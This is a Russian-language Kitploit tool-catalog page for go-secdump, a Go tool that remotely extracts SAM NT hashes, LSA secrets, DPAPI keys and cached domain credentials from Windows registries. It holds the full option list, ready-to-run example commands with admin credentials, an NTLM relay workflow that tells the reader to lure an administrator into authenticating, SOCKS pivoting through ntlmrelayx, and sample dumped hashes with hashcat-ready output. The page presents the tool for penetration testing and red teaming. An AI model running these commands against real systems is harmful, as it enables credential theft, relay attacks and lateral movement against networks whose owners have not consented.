Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
go-secdump — Инструмент для удалённого извлечения секретов из реестра Windows | Kitploit
Инструменты/GitHubGitHub/jfjallid/go-secdump
Взлом паролейИнструменты шифрования/дешифрованияЛатеральное перемещениеПост-эксплуатацияТестирование на ПроникновениеАутентификацияRed Teaming
GitHubjfjallid/go-secdump

go-secdump

Инструмент для удалённого извлечения секретов из реестра Windows

Репозиторий
534601 месяц назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

go-secdump

Описание

Пакет go-secdump — это инструмент, предназначенный для удаленного извлечения хешей из куста реестра SAM, а также секретов LSA и кешированных хешей из куста SECURITY без удаленного агента и без касания диска.

Инструмент построен на основе библиотеки go-smb и использует её для связи с Windows Remote Registry для получения ключей реестра прямо из памяти.

Он был создан как учебный опыт и как доказательство концепции, что должно быть возможно удаленно получать NT-хеши из куста SAM, секреты LSA, а также кешированные учетные данные домена, без необходимости сначала сохранять кусты реестра на диск, а затем анализировать их локально.

Основной проблемой было то, что кусты SAM и SECURITY читаемы только NT AUTHORITY\SYSTEM. Однако я заметил, что локальные администраторы имели разрешение WriteDACL на эти кусты реестра и, таким образом, могли временно предоставить себе доступ на чтение для извлечения секретов, а затем восстановить исходные разрешения.

Однако в феврале 2025 года Жюльен Эглофф из Synacktiv обнаружил более удачный подход. Запрос BaseRegOpenKey, используемый для открытия дескрипторов ключей реестра, имеет опцию для утверждения привилегии SeBackupPrivilege, что позволяет открывать ключи реестра без предварительного изменения DACL. Инструмент был обновлён, чтобы отдавать предпочтение этому новому подходу и изменять DACL только по явному запросу.

Благодарности

Большая часть кода в этом проекте вдохновлена/взята из secdump от Impacket, но преобразована для удаленного доступа к реестру Windows и для доступа только к необходимым ключам реестра.

Некоторые другие источники, которые были полезны для понимания структуры реестра и методов шифрования, перечислены ниже:

https://www.passcape.com/index.php?section=docsys&cmd=details&id=23

http://www.beginningtoseethelight.org/ntsecurity/index.htm

https://social.technet.microsoft.com/Forums/en-US/6e3c4486-f3a1-4d4e-9f5c-bdacdb245cfd/how-are-ntlm-hashes-stored-under-the-v-key-in-the-sam?forum=win10itprogeneral

Идея использования SeBackupPrivilege пришла от Synacktiv: https://www.synacktiv.com/publications/lsa-secrets-revisiting-secretsdump

Использование

root@kitploit:~
Usage: ./go-secdump [options]

options:
      --host <target>        Hostname or ip address of remote server. Must be hostname when using Kerberos
  -P, --port <port>          SMB Port (default 445)
  -d, --domain <domain>      Domain name to use for login
  -u, --user <username>      Username
  -p, --pass <pass>          Password
  -n, --no-pass              Disable password prompt and send no credentials
      --hash <NT Hash>       Hex encoded NT Hash for user password
      --local                Authenticate as a local user instead of domain user
  -k, --kerberos             Use Kerberos authentication. (KRB5CCNAME will be checked on Linux)
      --dc-ip <ip>           Optionally specify ip of KDC when using Kerberos authentication
      --target-ip <ip>       Optionally specify ip of target when using Kerberos authentication
      --aes-key <hex>        Use a hex encoded AES128/256 key for Kerberos authentication
      --keytab-file <file>   Authenticate using keys from a keytab file (implies -k). User and
                             domain are taken from the first keytab entry if not specified
      --dns-host <ip[:port]> Override system's default DNS resolver
      --dns-tcp              Force DNS lookups over TCP. Default true when using --socks-host
      --dump                 Saves the SAM and SECURITY hives to disk and
                             transfers them to the local machine.
      --sam                  Extract secrets from the SAM hive explicitly. Only other explicit targets are included.
      --lsa                  Extract LSA secrets explicitly. Only other explicit targets are included.
      --dcc2                 Extract DCC2 caches explicitly. Only other explicit targets are included.
      --misc                 Extract misc registry secrets such as the Winlogon
                             DefaultPassword explicitly. Only other explicit targets are included.
      --modify-dacl          Change DACLs of reg keys before dump.
                             Only required if keys cannot be opened using SeBackupPrivilege. (default false)
      --backup-dacl          Save original DACLs to disk before modification
      --restore-dacl         Restore DACLs using disk backup. Could be useful if automated restore fails.
      --backup-file <file>   Filename for DACL backup (default dacl.backup)
      --relay                Start an SMB listener that will relay incoming
                             NTLM authentications to the remote server and
                             use that connection. NOTE that this forces SMB 2.1
                             without encryption.
      --relay-port <port>    Listening port for relay (default 445)
      --socks-host <target>  Establish connection via a SOCKS5 proxy server
      --socks-port <port>    SOCKS5 proxy port (default 1080)
  -t, --timeout <duration>   Dial timeout in format 5s or 2m (default 5s)
      --noenc                Disable smb encryption
      --smb2                 Force smb 2.1
      --debug                Enable debug logging. Bare --debug turns on every
                             registered package; --debug=msrrp,smb turns on only the
                             listed package-name suffixes (the '=' form is required
                             for the filter).
      --verbose              Enable verbose logging. Same filter syntax as --debug.
                             --debug and --verbose may be combined with different
                             filters; a package targeted by both gets the higher level.
      --list-log-packages    List the registered log package names that can be
                             targeted with --debug=<suffix> or --verbose=<suffix>,
                             then exit
  -o, --output <file>        Filename for writing results (default is stdout). Will append to file if it exists.
      --output-format <fmt>  Output format: text (default), json, or hashcat
      --history              Include historical (OldVal) LSA secrets in addition to current values
  -q, --quiet                Suppress informational headers; print only secrets
  -v, --version              Show version

Изменение DACL

Теперь только как опциональная функция, включаемая с помощью --modify-dacl, go-secdump будет автоматически пытаться изменить, а затем восстановить DACL необходимых ключей реестра. Однако если что-то пойдет не так во время восстановления, например, разрыв сети или другое прерывание, удаленный реестр останется с измененными DACL.

С помощью аргумента --backup-dacl можно сохранить сериализованную копию исходных DACL перед изменением. Если возникнет проблема с подключением, DACL можно восстановить из файла с помощью аргумента --restore-dacl.

Примеры

Извлечь все секреты реестра, используя трюк с SeBackupPrivilege

root@kitploit:~
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local
or
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --sam --lsa --dcc2

Извлечь только SAM, LSA, кеш DCC2 или прочие секреты реестра

root@kitploit:~
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --sam
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --lsa
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --dcc2
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --misc

Цель --misc извлекает прочие секреты реестра, которые не относятся к кустам SAM/LSA/DCC2, в настоящее время это Winlogon auto-logon DefaultPassword (и связанный DefaultUserName), если они присутствуют.

Исторические секреты LSA, форматы вывода и тихий режим

Включите исторические (OldVal) секреты LSA в дополнение к текущим значениям с помощью --history. Записывайте результаты в файл с помощью -o/--output (добавление в конец, если файл существует) и выбирайте способ форматирования секретов с помощью --output-format:

  • text (default) — человекочитаемый
  • json — массив JSON с типизированными записями, полезен для дальнейшей обработки
  • hashcat — чистые NT-хеши (mode 1000) и строки $DCC2$ (mode 2100), готовые для передачи hashcat

Используйте -q/--quiet, чтобы подавить информационные заголовки и сводку, так что будут напечатаны только сами секреты.

root@kitploit:~
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --history --output-format json -o secrets.json
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --output-format hashcat --quiet

Ведение журнала по пакетам

Выведите список имен пакетов журнала, которые могут быть выбраны, затем включите отладочное или подробное журналирование для конкретных пакетов (совпадение по суффиксу имени) вместо всех сразу:

root@kitploit:~
./go-secdump --list-log-packages
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --debug=msrrp,smb

NTLM Relay

Извлечение секретов реестра с использованием NTLM relay

Запустить слушатель

root@kitploit:~
./go-secdump --host 192.168.0.100 -n --relay

Заставьте клиента с административным доступом к 192.168.0.100 как-нибудь пройти аутентификацию на вашей машине, а затем ожидайте извлеченные секреты.

root@kitploit:~
YYYY/MM/DD HH:MM:SS smb [Notice] Client connected from 192.168.0.30:49805
YYYY/MM/DD HH:MM:SS smb [Notice] Client (192.168.0.30:49805) successfully authenticated as (domain.local\Administrator) against (192.168.0.100:445)!
Net-NTLMv2 Hash: Administrator::domain.local:34f4533b697afc39:b4dcafebabedd12deadbeeffef1cea36:010100000deadbeef59d13adc22dda0
2023/12/13 14:47:28 [Notice] [+] Signing is NOT required
2023/12/13 14:47:28 [Notice] [+] Login successful as domain.local\Administrator
[*] Dumping local SAM hashes
Name: Administrator
RID: 500
NT: 2727D7906A776A77B34D0430EAACD2C5

Name: Guest
RID: 501
NT: <empty>

Name: DefaultAccount
RID: 503
NT: <empty>

Name: WDAGUtilityAccount
RID: 504
NT: <empty>

[*] Dumping LSA Secrets
[*] $MACHINE.ACC
$MACHINE.ACC: 0x15deadbeef645e75b38a50a52bdb67b4
$MACHINE.ACC:plain_password_hex:47331e26f48208a7807cafeababe267261f79fdc38c740b3bdeadbeef7277d696bcafebabea62bb5247ac63be764401adeadbeef4563cafebabe43692deadbeef03f...
[*] DPAPI_SYSTEM
dpapi_machinekey: 0x8afa12897d53deadbeefbd82593f6df04de9c100
dpapi_userkey: 0x706e1cdea9a8a58cafebabe4a34e23bc5efa8939
[*] NL$KM
NL$KM: 0x53aa4b3d0deadbeef42f01ef138c6a74
[*] Dumping cached domain credentials (domain/username:hash)
DOMAIN.LOCAL/Administrator:$DCC2$10240#Administrator#97070d085deadbeef22cafebabedd1ab
...

SOCKS Proxy

Извлекайте секреты, используя вышестоящий SOCKS5 прокси, либо для pivoting, либо для использования функциональности SOCKS-сервера ntlmrelayx.py от Impacket.

При использовании ntlmrelayx.py в качестве вышестоящего прокси, предоставленное имя пользователя должно совпадать с именем аутентифицированного клиента, но пароль может быть пустым.

root@kitploit:~
./ntlmrelayx.py -socks -t 192.168.0.100 -smb2support --no-http-server --no-wcf-server --no-raw-server
...

./go-secdump --host 192.168.0.100 --user Administrator -n --socks-host 127.0.0.1 --socks-port 1080
Скачать инструмент